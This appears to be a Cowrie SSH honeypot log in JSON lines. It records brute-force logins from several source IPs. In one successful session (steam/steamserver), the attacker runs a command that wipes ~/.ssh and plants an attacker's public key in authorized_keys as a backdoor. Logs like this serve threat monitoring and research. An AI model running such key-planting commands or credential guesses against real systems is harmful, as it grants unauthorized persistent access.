{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:1c:29:b7:c6:fe:63:c8:3e:71:5d:cc:e1:3d:f1:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCksiwqQTyO6pXpM/OVPvd0dEF95VAz5w80lc9avLzrMAgm95R+u6CHWFpWac1gQx3xmqZ/G/nYs8cIA0tMoEsPLkKREu9KqCCkDW+0KxTJNgOg6CJWgHbXzXxf1xcSknKnmHPi3TzKPrtxM6AlJLQT8tcA+JMx7yDidL1Fr+SdOe9bWvrZ91H67j2eGR2Khn4CKEH12HMnXKwoSKFvmFVW6zGZPcrizIZEEpf1VkN7UgbV5N3p5xat/vww1TGKOjWZFg0ufPsyMI7orxMFFjKjbg+5f1WwdfgvtY/bGYubR5I1j9ZFYhECkUcPWB1i/l+k6hv+lMQJL8AMCZ7D6zqMJ2XjrBtKKRnHSpSalAOskkBpM5eb4lBommJ/z+qTpv381J6LLotOj+QFPhQYLH3OZ/hCqRXyrt6WfnrxFqZxXrPj8MJy5b0QWo1Uj6avrZSXm6zlkJfkQzReED55Dno/NW6+60cH9xqMsoAWLUIGbirLXVmFX8BXaL11WpOqwA8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:1c:29:b7:c6:fe:63:c8:3e:71:5d:cc:e1:3d:f1:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:58.269082Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:1c:29:b7:c6:fe:63:c8:3e:71:5d:cc:e1:3d:f1:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCksiwqQTyO6pXpM/OVPvd0dEF95VAz5w80lc9avLzrMAgm95R+u6CHWFpWac1gQx3xmqZ/G/nYs8cIA0tMoEsPLkKREu9KqCCkDW+0KxTJNgOg6CJWgHbXzXxf1xcSknKnmHPi3TzKPrtxM6AlJLQT8tcA+JMx7yDidL1Fr+SdOe9bWvrZ91H67j2eGR2Khn4CKEH12HMnXKwoSKFvmFVW6zGZPcrizIZEEpf1VkN7UgbV5N3p5xat/vww1TGKOjWZFg0ufPsyMI7orxMFFjKjbg+5f1WwdfgvtY/bGYubR5I1j9ZFYhECkUcPWB1i/l+k6hv+lMQJL8AMCZ7D6zqMJ2XjrBtKKRnHSpSalAOskkBpM5eb4lBommJ/z+qTpv381J6LLotOj+QFPhQYLH3OZ/hCqRXyrt6WfnrxFqZxXrPj8MJy5b0QWo1Uj6avrZSXm6zlkJfkQzReED55Dno/NW6+60cH9xqMsoAWLUIGbirLXVmFX8BXaL11WpOqwA8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:58.271714Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:e5:5a:2c:db:db:c7:17:e9:bd:0c:02:74:bb:36:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGqDW9Km/oF89r4+lTbHCia/21a+9DSgy4uwMcc6aaF7Pd/1SY66oni5OxjruXYgezP9efWgLdCexal5eefjp4RXoSMxOFGVYVu+ZeVqfZLLF0BlTP9sRSL0EVvG89B8V/PyRwGz46TBhMkorfaOVD720Y8RcaTN2ORX+h1BEfS+R4jjevI5scqOcrhVqKBrr+NmFM5Jgm5CAn2PppA86SRLYV/dTtLVPFf8ZInZP4z0HhQpHbXkUK+6uX5kyZuakmvZ18zLkmsHm8EP/NfkCvZcR1+j49AOcsrwSjxk20tyoT9PNFCsKaSjLbWPzkpoySKu7Wleqxg07GiUmfVgRV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:e5:5a:2c:db:db:c7:17:e9:bd:0c:02:74:bb:36:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:58.417142Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:e5:5a:2c:db:db:c7:17:e9:bd:0c:02:74:bb:36:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGqDW9Km/oF89r4+lTbHCia/21a+9DSgy4uwMcc6aaF7Pd/1SY66oni5OxjruXYgezP9efWgLdCexal5eefjp4RXoSMxOFGVYVu+ZeVqfZLLF0BlTP9sRSL0EVvG89B8V/PyRwGz46TBhMkorfaOVD720Y8RcaTN2ORX+h1BEfS+R4jjevI5scqOcrhVqKBrr+NmFM5Jgm5CAn2PppA86SRLYV/dTtLVPFf8ZInZP4z0HhQpHbXkUK+6uX5kyZuakmvZ18zLkmsHm8EP/NfkCvZcR1+j49AOcsrwSjxk20tyoT9PNFCsKaSjLbWPzkpoySKu7Wleqxg07GiUmfVgRV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:58.419218Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:24:58.569517Z","src_ip":"128.0.104.44","session":"2309761ec6ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":58680,"dst_ip":"10.17.0.5","dst_port":22,"session":"80daea04454b","protocol":"ssh","message":"New connection: 91.92.40.176:58680 (10.17.0.5:22) [session: 80daea04454b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:05.743800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:05.748063Z","src_ip":"91.92.40.176","session":"80daea04454b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:05.990022Z","src_ip":"91.92.40.176","session":"80daea04454b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123456","message":"login attempt [ts3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:06.280790Z","src_ip":"91.92.40.176","session":"80daea04454b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:07.548928Z","src_ip":"91.92.40.176","session":"80daea04454b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.80.243","src_port":6556,"dst_ip":"159.203.135.109","dst_port":22,"session":"86c54c384f3b","protocol":"ssh","message":"New connection: 45.33.80.243:6556 (159.203.135.109:22) [session: 86c54c384f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.759085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.762062Z","src_ip":"45.33.80.243","session":"86c54c384f3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.767253Z","src_ip":"45.33.80.243","session":"86c54c384f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.778102Z","src_ip":"45.33.80.243","session":"86c54c384f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.80.243","src_port":6570,"dst_ip":"159.203.135.109","dst_port":22,"session":"7226c6366d39","protocol":"ssh","message":"New connection: 45.33.80.243:6570 (159.203.135.109:22) [session: 7226c6366d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.784964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.789471Z","src_ip":"45.33.80.243","session":"7226c6366d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.795291Z","src_ip":"45.33.80.243","session":"7226c6366d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.804497Z","src_ip":"45.33.80.243","session":"7226c6366d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.80.243","src_port":6582,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9d8fc587ad2","protocol":"ssh","message":"New connection: 45.33.80.243:6582 (159.203.135.109:22) [session: f9d8fc587ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.807563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.811907Z","src_ip":"45.33.80.243","session":"f9d8fc587ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.816771Z","src_ip":"45.33.80.243","session":"f9d8fc587ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:25:09.831220Z","src_ip":"45.33.80.243","session":"f9d8fc587ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":52657,"dst_ip":"10.17.0.5","dst_port":22,"session":"e59aaecc6592","protocol":"ssh","message":"New connection: 14.55.144.22:52657 (10.17.0.5:22) [session: e59aaecc6592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:19.767506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:19.771316Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:19.981357Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steamserver","message":"login attempt [steam/steamserver] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:20.852469Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:21.308268Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:21.311265Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:21.314374Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:21.522755Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:21.985188Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:21.988287Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:22.202221Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:22.205064Z","src_ip":"14.55.144.22","session":"e59aaecc6592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":53267,"dst_ip":"10.17.0.5","dst_port":22,"session":"19fe983f63ee","protocol":"ssh","message":"New connection: 14.55.144.22:53267 (10.17.0.5:22) [session: 19fe983f63ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:22.408964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:22.412580Z","src_ip":"14.55.144.22","session":"19fe983f63ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:22.623419Z","src_ip":"14.55.144.22","session":"19fe983f63ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:23.489478Z","src_ip":"14.55.144.22","session":"19fe983f63ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:24.699608Z","src_ip":"14.55.144.22","session":"19fe983f63ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":53915,"dst_ip":"10.17.0.5","dst_port":22,"session":"b666f394e546","protocol":"ssh","message":"New connection: 14.55.144.22:53915 (10.17.0.5:22) [session: b666f394e546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:24.908352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:26:24.914557Z","src_ip":"14.55.144.22","session":"b666f394e546","protocol":"ssh"}
